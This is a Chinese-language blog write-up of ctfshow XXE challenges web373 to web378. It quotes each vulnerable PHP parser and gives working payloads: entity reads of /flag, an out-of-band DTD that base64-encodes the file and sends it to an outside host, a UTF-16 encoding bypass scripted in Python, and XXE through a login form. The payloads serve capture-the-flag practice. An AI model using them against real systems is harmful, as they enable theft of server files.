ctfshow XXE做题记录

ctfshow XXE做题记录

1.0 web373

看一下过滤代码

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

把一些可能不是很清楚的代码说明一下

libxml_disable_entity_loader(false); 表示允许外部实体调用,这就让我们可以带外DTD了,flase是开启

$dom = new DOMDocument(); 创建一个新的DOMDocument对象,它是PHP处理XML的标准方法之一。

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);:使用DOMDocument对象的loadXML方

法加载并解析之前获取到的XML字符串。参数LIBXML_NOENT表示在解析时替换XML文件中的实体引用,

LIBXML_DTDLOAD则表示加载外部DTD(文档类型定义),根据DTD验证XML文档结构。

$creds = simplexml_import_dom($dom);:将DOMDocument对象转换为SimpleXMLElement对象,以便

于更方便地访问和操作XML元素及属性。

$ctfshow = $creds->ctfshow; 从xml中获得ctfshow标签的值

没有过滤的XXE 关键函数是loadXML()直接上payload

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

在body中发过去,获取payload

注意,这个数据是直接放在body里的,header和body的区分是\r\n如果一直不行就去看一下自己的换行是否是

\r\n

1.1 web374

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

我们看下代码,发现没有输出选项,考虑带外dtd

这题不知道为什么,不能用file协议了,考虑php伪协议

php://filter/read=convert.base64-encode/resource=/flag

payload

<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://www.mrbird.love/evil.dtd">
    %myurl;
]> 

放在远程服务器上的evil.dtd

<!ENTITY % wrapper "<!ENTITY &#x25; send SYSTEM 'http://www.mrbird.love/?x=%file;'>">
%wrapper;
%send;

需要注意的是,dtd中的参数要调用才会真正去获取值,第二个evil.dtd因为嵌套了参数定义,所以在引号中%要用

&#x25;替代

1.2 web 375

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

把xml头给过滤了,但是卵用没有,不影响执行。

还是上一题方法

1.3 web 376

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤代码不直到为什么和上一题没区别,照样尝试带外dtd,直接拿下

1.4 web 377

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

把http给过滤掉了,我们之前的就不能用了,考虑使用utf-16编码绕过,这时候我们就应该用python发包了

import requests

proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080',  # 假设Burp Suite在本地监听8080端口
}
url = 'http://02d20425-4af1-404f-82f0-c737d050c71e.challenge.ctf.show/'
payload = """<?xml version='1.0' encoding="UTF-16"?>
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://www.mrbird.love/evil.dtd">
    %myurl;
]> 
"""
payload = payload.encode('utf-16')
requests.post(url=url, data=payload, proxies=proxies)

其中proxies是我用来监听设置的,也可也不这样设置。

这个题挺奇怪的,之前也是这样写,就是没有flag,重写了两遍重开了下题就有了。

1.5 web 378

来到xxe的最后一题,打开题目发现本题和前几题都不一样,只有一个登录框,查看网页代码我们发现了问题

function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

本题的登陆是在前端处理后以xml的格式发送的,这就导致可能产生xxe,经过登陆尝试,发现在 username处是

有回显的我们尝试构造一下,

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>111</password></user>

成功拿下flag

就此,XXE的题目就全部做完了,完结撒花。

posted @ 2024-04-02 01:29  折翼的小鸟先生  阅读(76)  评论(0编辑  收藏  举报